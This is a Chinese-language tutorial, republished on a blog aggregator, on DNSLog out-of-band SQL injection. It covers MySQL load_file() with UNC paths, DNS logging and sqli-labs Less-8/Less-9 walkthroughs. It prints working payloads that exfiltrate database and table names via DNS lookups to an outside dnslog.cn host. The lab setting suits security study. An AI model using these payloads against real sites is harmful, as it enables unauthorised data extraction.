SQL注入之DnsLog注入

这篇具有很好参考价值的文章主要介绍了SQL注入之DnsLog注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、原理

DnsLog注入可以理解成是一种技巧,而不是一种攻击方式,是一种让无回显的攻击,变得有回显的方式,包括但不限于SQL盲注,下面以盲注为例,需要有盲注的基础。

在解释原理之前,首先了解一下几样东西,如下:

1. load_file函数

Mysql数据库的load_file()函数不单可以读取本地文件,还可以通过UNC路径访问远程文件

DnsLog注入就是利用load_file()函数访问远程文件的特点,对延时盲注等无回显的注入或其他无回显的攻击带来回显。

2. UNC路径

UNC路径格式://servername/sharename/directory/filename

UNC路径就是类似上面这样形式的网络路径。它符合//servername/sharename 格式

  • servername 是服务器名或者域名

  • sharename 是共享资源的名称

UNC 名称可以包括共享名称下的目录路径 /directory/filename

实例及解读: //xclay.net/share/张三/账单.docs

如果访问上述UNC路径的话,就会得到xclay.net 服务器share共享文件夹下的张三文件夹下的账单.docs文件

3. DNS解析

网上找到一张解释DNS解析过程非常通透的图片:

dnslog攻击,sql,数据库,网络安全,web安全

上面这个例子:本地DNS服务器会依次询问 根、.cn、.com.cn、.cloudcrowd.com.cn 逐步获得结果

正常来讲每个查询记录都会在相应DNS服务器上留下相关的查询日志,一般来说企业或者自己部署的DNS在上图标红位置处,可以查到我们的DNS解析记录(我们向谁查了什么样的域名) 简单粗暴一点可以这么理解。

4. 原理

先看一段payload

and load_file(concat("//",database(),".dfnyy4.dnslog.cn/123")) -- clay

通过concat函数来构造UNC路径,并带出我们想要的查询结果
concat("//",database(),".dfnyy4.dnslog.cn/123")

123是为了构造UNC路径("//servername/share")随便写的: 
"//数据库名.dfnyy4.dnslog.cn/123"

所以我们只要查看查询 .dfnyy4.dnslog.cn 的DNS日志就能够看到整个回显

直接查看DNS日志比较困难,但网上有很多现成的平台:

  • DnsLog(推荐)

原理:

load_file(UNC路径) 远程访问UNC路径中主机的地址,如果是域名将会进行解析并留下记录,通过查看DNS解析记录(DNS日志)来达到有回显的目的。

5. 条件

secure_file_priv值必须为空,否则没办法

dnslog攻击,sql,数据库,网络安全,web安全

二、实验

1. sqli-lab less8 布尔盲注

特征: 只有错误和正常两种回显,单引号闭合

dnslog攻击,sql,数据库,网络安全,web安全

dnslog攻击,sql,数据库,网络安全,web安全

获取域名:

访问 DnsLog 获得一个域名:

dnslog攻击,sql,数据库,网络安全,web安全

payload:

1' and load_file(concat("//",database(),".u9zk6s.dnslog.cn/123")) -- clay

获取回显

访问

dnslog攻击,sql,数据库,网络安全,web安全

Dnslog 刷新

dnslog攻击,sql,数据库,网络安全,web安全

2. sqli-lab less9 延时盲注

特征: 单引号闭合延时盲注

dnslog攻击,sql,数据库,网络安全,web安全

payload:

1' and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.u9zk6s.dnslog.cn/123')) -- clay

dnslog攻击,sql,数据库,网络安全,web安全

Ps:如果paylaod没有问题但一直刷新不出来可能是谷歌浏览器的问题,换个浏览器访问一下就可以了

如果对你有所帮助拜托拜托点赞收藏加评论666,更多文章内容欢迎访问笔者博客 :xclay.net文章来源地址https://www.toymoban.com/news/detail-655399.html

到了这里,关于SQL注入之DnsLog注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【实训04】数据库SQL注入漏洞

      下载dvwa的时候其实已经通过了,但建议全部做一下,后面的要用 git clone GitHub - digininja/DVWA: Damn Vulnerable Web Application (DVWA) 注入的sql: 使用sql注入查询数据库用户名和数据库名,并将用户名和数据库名写入/data/workspace/myshixun/result2中: 注入的sql语句: 使用sql注入查询dvwa数据库

    2024年02月16日
    浏览(42)
  • 【数据库】SQL注入从0到1

    目录 前言: 1.【入门】普通查询型注入: 1.0 实验环境: 1.1进行一次普通的查询: 1.2 进行注入得到用户信息: 1.2.1 执行注入: 1.2.2 注入语句分析: 1.3 整型注入与字符型注入区别: 2.【进阶】从库到列逐步注入: 2.1 预备知识: 2.1.1 union函数: 2.1.2 order by函数: 2.1.3 infor

    2024年02月05日
    浏览(51)
  • 【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件,读取文件。通过SQL输入来注入木马来getshell等,讲解了比较详细的过程; 如果想要学习

    2024年02月07日
    浏览(54)
  • 渗透测试-SQL注入之核心语法获取数据库信息

    SQL实验室第一关 下载sqli-labs到phpstudy的www目录下 打开localhost/sqli-labs运行即可 (1)注入语句 ‘~’ 相当于16进制的0x7e 万能密码 \\\'or ‘1’ =\\\'1 ’ and ‘1’=‘1 ’ and 1=2 union select 1,user(),3- -+ 前面加’是为了闭合后面的’ (2)group_concat(string) (1)SQL手工注入方法 select schema_name

    2024年02月10日
    浏览(39)
  • Python MySQL 数据库查询:选择数据、使用筛选条件、防止 SQL 注入

    要从MySQL中的表格中选择数据,请使用\\\"SELECT\\\"语句: 示例选择\\\"customers\\\"表格中的所有记录,并显示结果: 注意 :我们使用 fetchall() 方法,该方法从上次执行的语句中获取所有行。 要仅选择表格中的某些列,请使用\\\"SELECT\\\"语句,后跟列名: 示例仅选择name和address列: 如果您只对

    2024年02月05日
    浏览(95)
  • 五、C#与数据库交互( SQL注入与安全性)

    在C#与数据库交互时,安全性是非常重要的一部分,特别是要防止SQL注入攻击。SQL注入是一种常见的网络攻击手段,攻击者通过在输入字段中注入恶意SQL代码来操纵数据库查询。以下是一些关于如何防止SQL注入的建议: 使用参数化查询 : 这是防止SQL注入的最有效方法。参数化

    2024年02月02日
    浏览(55)
  • 记录恶意SQL注入引发的RDS只读数据库CPU飚100%

    前言 : 在广州这座城市下着小雨的晚上,我正在厨房洗着碗,突然手机有来电,脱下手套,一看是来自阿里云的告警电话。打开飞书查看告警内容,发现某个业务的RDS只读实例CPU飚到100%,下意识觉得是不是有慢查询导致,想着不会有啥问题,上去kill慢查就好了,结果发现是

    2024年03月19日
    浏览(47)
  • 网络安全进阶学习第十二课——SQL手工注入3(Access数据库)

    判断数据库类型 —— 判断表名 —— 判断列名 —— 判断列名长度 —— 查出数据。 asp的网站,常用数据库为access、sqlserver。 and exsits (select * from msysobjects)0 access and exsits (select * from sysobjects)0 sqlserver 上述语句 会返回1或者0 。 msysobjects是access的默认数据库 , sysobjects是sqlserv

    2024年02月11日
    浏览(55)
  • 什么是SQL注入攻击,解释如何防范SQL注入攻击?

    SQL注入攻击是一种常见的网络攻击方式,攻击者通过在Web应用程序的查询语句中插入恶意代码,从而获取数据库中的敏感信息或者执行其他恶意操作。 为了防范SQL注入攻击,可以采取以下措施: 使用参数化查询:使用参数化查询可以避免攻击者通过查询语句中的参数注入恶

    2024年02月10日
    浏览(50)
  • 阿里云域名搭建DNSLOG

    DNSLOG在测试无回显漏洞,如SQL盲注、无回显SSRF、无回显XXE、无回显RCE等漏洞时,是必不可少的工具。 在互联网上,有很多优秀的在线DNSLOG平台可供我们日常渗透测试使用,如www.dnslog.cn、ceye.io等。但正是由于这些在线DNSLOG平台被过多的使用,现在很多安全设备以及甲方自建的

    2024年02月06日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包